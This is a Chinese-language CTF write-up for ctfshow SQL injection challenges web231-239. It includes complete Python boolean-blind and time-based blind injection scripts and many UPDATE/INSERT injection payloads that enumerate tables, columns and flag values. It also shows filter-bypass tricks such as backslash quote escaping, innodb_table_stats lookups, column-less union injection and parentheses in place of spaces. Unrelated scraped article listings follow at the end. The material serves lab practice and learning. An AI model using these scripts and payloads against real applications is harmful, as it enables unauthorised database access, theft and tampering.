布尔盲注 有个注意的地方时 这里面password为什么每次都要变值 是因为 如果连续语句正确 成功更新密码为1后 再次更新密码为1 哪怕语句成功执行 但是 也会返回更新失败  这个时候如果更新密码为2 则显示更新成功

import requests
url = "http://9ed68e47-6458-47e8-8937-8b6374868aec.challenge.ctf.show/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga'"
#--------查flag
sql= "select group_concat(flagas) from flaga"
#*************************************************************************************************************************************************************
payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"


#计数
n = 0

for i in range(1, 666):
    for j in str:
        params = {
            'username' : payload.format(sql,i,j),
            'password' : "{}".format(i)
        }
        res = requests.post(url = url, data = params)
        #print(res.text)
        if r"\u66f4\u65b0\u6210\u529f" in res.text:
            flag += j
            n += 1
            print('[*] 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print('[*] flag is {}'.format(flag))
                exit()
            break

web232

password的位置 加上了md5 没有影响 直接使用括号闭合

这里说一下 注意两点 api后面必须要加?page=1&limit=10 不加不好使 可能服务器需要判断这两个参数 如果不存在可能就不会向下执行语句了 第二点 /api/?和/api?是有区别的 使用/api? 无法执行payload不知道什么原因 估计是啥api是一个目录 你对目录传参肯定不行  而/api/?是给目录下的文件传参

查看当前数据库数据表

有两点注意 database() 后不用加分号,也就是句中句不需要分号 第二点 注意要使用group_concat 或者limit

password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=

查看flagaa表的列名

password=1'),username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flagaa') where 1=1#&username=

查看列值

password=1'),username=(select flagass from flagaa) where 1=1#&username=

盲注脚本和web231一样 改改即可 md5的位置 以及数据库名 表名字段名

web233

连md5都没了 和web231一样呢 

测试一波

正常情况下是可以的 也返回更新成功

password=0&username=user1 

而password=0',username=1 where 1=1#&username=

返回查询失败

说的没有过滤那是不可能的 反正肯定有限制条件不能这么做

于是使用盲注的方式是可以做的

import requests
url = "http://c7b6d0e5-03cf-467d-b332-a9941fe654ac.challenge.ctf.show/api/"
table_name = 'flag233333'
flag = 'flagass233'
result = ''
# 数据库名
payload = "database()" #ctfshow_web
# 爆表名
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"#flag233333
# 爆列名
#payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"#flagass233
# 爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1, 50):
    head = 32
    tail = 127
    while head < tail:
        # sleep(1)
        mid = (head + tail) >> 1  # 中间指针等于头尾指针相加的一半
        #print(mid)
        data = {
            'username': f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password': 0
        }
        try:
            r = requests.post(url, data, timeout=2.5)
            tail = mid
        except:
            head = mid + 1  # sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

web234

和上一题一样呀

说是没过滤 其实还是有过滤的 说是过滤单引号 既然单引号被过滤了 不能用单引号了 那就是用\来转义原语句中的单引号

原语句为

update ctfshow_user set pass = '{$password}' where username = '{$username}';

如果传参为password=1\&username=,username=(select database())#

语句则变为了

update ctfshow_user set pass = '1\' where username = ',username=(select database())#';

在#前加入分号和不加一个意思 上面已经说了 在语句的最后面 没有分号也是可以的

查看当前数据库数据表

password=4\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#

这里还要说一下 如果不适用group_concat 虽然语句被成功执行了 但是因为有多条输出 导致 语句执行成功 但是并未写入数据库中

查看flag23a表的列有哪些  单引号被过滤了 使用单引号则无法成功执行语句 使用双引号即可

password=4\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag23a");#

查看列flagass23s3的值

password=4\&username=,username=(select flagass23s3 from flag23a);#

最后本来想着查看一下banlist里面到底过滤了什么 字段是id和char id字段都查到 而char无论如何都查不到 可能禁止查看吧

真的大佬云集 就是一顿脚本 有时间学学

# @Author:Kradress
import requests
url = "http://9298293f-de8c-414f-beaf-5ef7041922f2.challenge.ctf.show/api/"
table_name = 'flag23a'
flag = 'flagass23s3'
result = ''
def strToHex(S : str):
    parts = []
    for s in S:
        parts.append(str(hex(ord(s)))[2:])
    return '0x' + ''.join(parts)
# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name={strToHex(table_name)}"
#爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1,50):
    head = 32
    tail = 127
    while head < tail:
        #sleep(1)  
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        print(mid)
        data = {
            'username' : f" where username =  0x63746673686f77 and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password' : "\\"
        }
        try:
            r = requests.post(url, data, timeout=2.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

web235-web236

mysql统计信息

无列名注入

web235

过滤了or和单引号 or的话 information就不能用了

mysql默认存储引擎innoDB携带的表:
mysql.innodb_table_stats
mysql.innodb_index_stats

两表均有database_name和table_name字段

可以使用innodb_table_stats  代替 information_schema

简单理解innodb_table_stats 是一个表使用时为mysql.innodb_table_stats 通过指定数据库名database_name 就能查询出该数据库中的表有哪些了

依旧使用上一题的方法 

password=4\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats);# 

banlist,ctfshow_user,flag23a1

现在是表名可以查询到 但是 这个innoDB引擎中是不存在的字段名的 

所以要使用无列名注入

这里其实使用join最好 今天学到现在脑子有点蒙 没学明白 有时间看看

我使用的是联合查询的方式 进行无列名注入

password=2\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flag23a1)a)#

web236

说是过滤flag 但其实过滤的是回显中的flag 而不是输入中的

使用上一题方法即可flaga为表名

password=2\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flaga)a)#

开始INSERT

web237

最基础的insert

以post形式进行的提交

原语句为

insert into ctfshow_user(username,pass) value('{$username}','{$password}');

构造payload

username=1',(select 3))#&password=

就变成了

insert into ctfshow_user(username,pass) value('1',(select 3));#','{$password}');

测试一下 发现可以

查看当前数据表有哪些

username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=

查看表内列名

username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=

查值 

username=1',(select flagass23s3 from flag 标记))#&password= 

标记的位置不能写分号 语句中的语句无需写分号  语句的末尾写不写都可以

web238

过滤空格 本来想着使用%09 但是不行 不知道啥原因

括号代替空格

查表

username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=

查字段

username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#&password=

查值

username=1',(select(flag)from(flagb)))#&password=

看看能不能看看banlist 还是只能查看id 不能查看char字段

web239

又有or 不能使用information了 那就使用自带的

username=1',database())#&password=

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='ctfshow_web')))#&password=

使用联合查询方式 无列名注入 但是弄半天过滤空格 导致这个括号巨难搭配 

就算搭配后 我看其他人说 还过滤了* 于是都说无能为力 就说之前都是列名为flag

username=1',(select`flag`from`flagbb`))#&password=

反引号在mysql代表的是列名表名数据库名 

借鉴

ctfshow web入门 sql注入(超详解)201-250_ctfshow web201-CSDN博客

CTFshow-WEB入门-SQL注入(下)_//sql db.ctfshow_user.find({username:'$username',p-CSDN博客

【ctfshow】web篇-SQL注入 wp_ctfshow web417-CSDN博客

CTFshow sql注入 上篇(web221-253)_web242-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/767515.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

centos7.9 python3环境(virtualenv)搭建及所遇错误

人望山&#xff0c;鱼窥荷&#xff0c;真正喜欢想要的&#xff0c;没有一样可以轻易得到。 目录 # 1. 解决版本冲突问题--建议不要跳过(一定要查看软链接是否链接正确) # 2. python3(virtualenv)环境搭建 # 3. virtualenv常用命令 # 4. 所遇错误解析 ## 4.1 遇到 No modul…

关于python编程从入门到实践书中的外星人项目的 if event.key == pygame.K_q: sys.exit()失败问题

按q没有退出程序。原因是输入法中英文问题。 本人默认输入法是搜狗&#xff0c;其他的输入法如微软拼音等都行&#xff0c;但是注意运行的时候切换为英文。千万记得运行时不是中&#xff0c;而是英&#xff0c;按q才能退出

【数据结构】堆栈

目录 一、堆栈的基本概念 1.1 堆栈定义 1.2 堆栈操作 1.3 堆栈应用 二、顺序栈 2.1 定义 2.2 操作 2.3 C语言实现 三、共享栈 3.1 定义 3.2 操作 3.3 C语言实现 四、链式栈 4.1 定义 4.2 操作 4.3 C语言实现 五、总结 堆栈(Stack)重要的数据结构,它…

Python--线程基础

相关概念 线程是"轻量级进程",是计算机中CPU进行任务调度的最小单位。 线程属于进程的一部分,一个线程只能属于一个进程,而一个进程可以有多个线程,且至少有一个线程。 每个进程开始的创建的时候,都会随之创建一个主线程。 进程负责分配和隔离资源(CPU, 内存…

机器学习辅助的乙醇浓度检测

目录 1.为什么要机器学习 2. 神经网络一般组成 3.BP神经网络工作过程 4.评价指标 5.实操代码 1.为什么要用机器学习 人工分析大量的谐振模式&#xff0c;建立各种WGM的响应与未知目标之间的关系&#xff0c;是一个很大的挑战。机器学习(ML)能够自行识别全谱的全部特征。作为…

【Python】Python中的常量与变量

常量与变量 导读一、新建项目二、常量2.1 字面常量2.2 特殊常量 三、变量3.1 变量的定义3.2 变量的命名3.2.1 关键字 结语 导读 大家好&#xff0c;很高兴又和大家见面啦&#xff01;&#xff01;&#xff01; 在上一篇内容中我们详细介绍了Python环境的搭建过程&#xff0c;…

《代号鸢》国服,能否推动国乙市场重新洗牌?

灵犀互娱《如鸢》顺利拿到版号&#xff0c;再次搅浑了国乙市场这潭水。 六月份游戏版号审批公布后&#xff0c;灵犀互娱运营的《如鸢》引起了关注&#xff0c;这个与《代号鸢》原名《三国志如鸢》雷同的名字&#xff0c;竟然让《代号鸢》玩家大面积破防了。 其实目前关于《如…

游戏冻结工具 -- 雪藏HsFreezer v1.78

软件简介 HsFreezer是一款多功能游戏冻结工具&#xff0c;它允许用户随意暂停和继续游戏&#xff0c;同时具备系统优化和进程管理的功能。这款软件特别适合希望在游戏加载时间节省或在游戏与其他任务之间快速切换的用户。其主要特点包括快捷键操作、单锁模式的丝滑切换&#x…

湖北建筑安全员A证跨省调出审核不通过?可能是这些原因

湖北建筑安全员A证跨省调出审核不通过&#xff1f;可能是这些原因 湖北建筑安全员A证跨省调出审核不通过怎么办&#xff1f; 湖北建筑安全员ABC正常情况下都是可以跨省调出的&#xff0c;现在建筑三类人员安全员ABC在全国工程质量安全监管信息平台都是可以查询的&#xff0c;在…

《中国化工贸易》是什么级别的期刊?是正规期刊吗?能评职称吗?

​问题解答 问&#xff1a;《中国化工贸易》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知网收录的第一批认定学术期刊。 问&#xff1a;《中国化工贸易》级别&#xff1f; 答&#xff1a;国家级。主管单位&#xff1a;中国石油和化学工业联合会 主办单…

据阿谱尔统计,全球mRNA原料酶市场预计2024年达到11.98亿美元

Codexis 宣布与 Aldevron 达成协议&#xff0c;授予 Aldevron Codexis 的 Codex HiCap RNA 聚合酶的全球制造和商业化权利。 Applied DNA、Maravai LifeSciences (MRVI) 和 Alphazyme 达成协议&#xff0c;Alphazyme 将扩大 Applied DNA 专有 Linea™ RNA 聚合酶 (RNAP) 的生产…

图书管理系统(含登录验证码操作)

文章目录 登录需求分析登录界面注册功能&#xff1a;登录功能&#xff1a;忘记密码&#xff1a;验证码规则&#xff1a; 图书管理系统需求Book包Book类BookList类 IOperation包IOperation接口查找图书新增图书删除图书显示图书借阅图书归还图书退出系统 User包user类Users类adm…

干货分享|如何将前端代理服务器(BFF)接入身份认证(3完结篇)

续集3 前篇文章在前面发布&#xff0c;同学们可以自行找一下。 本篇文章将继续通过实例来详细讲解如何将前端代理服务器&#xff08;BFF&#xff09;接入身份认证。我们将使用一个示例应用来演示 BFF 与身份认证的集成过程。 3 在 Full BFF 中接入认证平台 本小节将介绍如何…

矢量绘图设计Sketch中文 Sketch直装安装包

Sketch是一款专为UI设计师和UX专家打造的矢量图形设计软件&#xff0c;以其简洁的界面、强大的功能和高效的协作能力而闻名。Sketch支持快速创建高质量的UI界面、图标、图形和插画&#xff0c;其矢量绘图工具让设计细节更加精准。同时&#xff0c;Sketch内置丰富的插件和组件库…

设计模式-结构型-08-组合模式

文章目录 1、学校院系展示需求2、组合模式基本介绍3、组合模式示例3.1、 解决学校院系展示&#xff08;透明模式1&#xff09;3.2、高考的科目&#xff08;透明模式2&#xff09;3.3、高考的科目&#xff08;安全组合模式&#xff09; 4、JDK 源码分析5、注意事项和细节 1、学校…

MySQL之应用层优化(二)

应用层优化 Web服务器问题 寻找最优并发度 每个Web服务器都有一个最佳并发度——就是说&#xff0c;让进程处理请求尽可能快&#xff0c;并且不超过系统负载的最优的并发连接数。这就是前面说的最大系统容量。进行一个简单的测量和建模&#xff0c;或者只是反复试验&#xf…

Python基础入门知识

目录 引言 简要介绍Python语言 为什么要学习Python Python的应用领域 Python安装和环境配置 Python的下载和安装(Windows, macOS, Linux) 配置Python环境变量 安装和使用IDE(如PyCharm, VS Code) Python基本语法 注释 变量和数据类型(数字,字符串,列表,元组,字典,…

互联网医院系统源码解析:如何打造智能数字药店APP?

在互联网技术飞速发展的今天&#xff0c;医疗行业也在不断与之融合&#xff0c;互联网医院系统应运而生。特别是智能数字药店APP的兴起&#xff0c;使得医疗服务变得更加便捷、高效。本文将深入解析互联网医院系统源码&#xff0c;探讨如何打造一个智能的数字药店APP。 一、互…

思维,CF 739A - Alyona and mex

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 739A - Alyona and mex 二、解题报告 1、思路分析 我们考虑区间mex运算的值最大也就是区间长度&#xff0c;所以我们最大值的上界就是所有区间中的最小长度&#xff0c;假如记为mi 我们一定可以构造出答案…

【C++】const详解

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &#x1f4e2;本文作为 JohnKi &#xff0c;引用了部分大佬的案例 &#x1f4e2;未来很长&#xff0c;…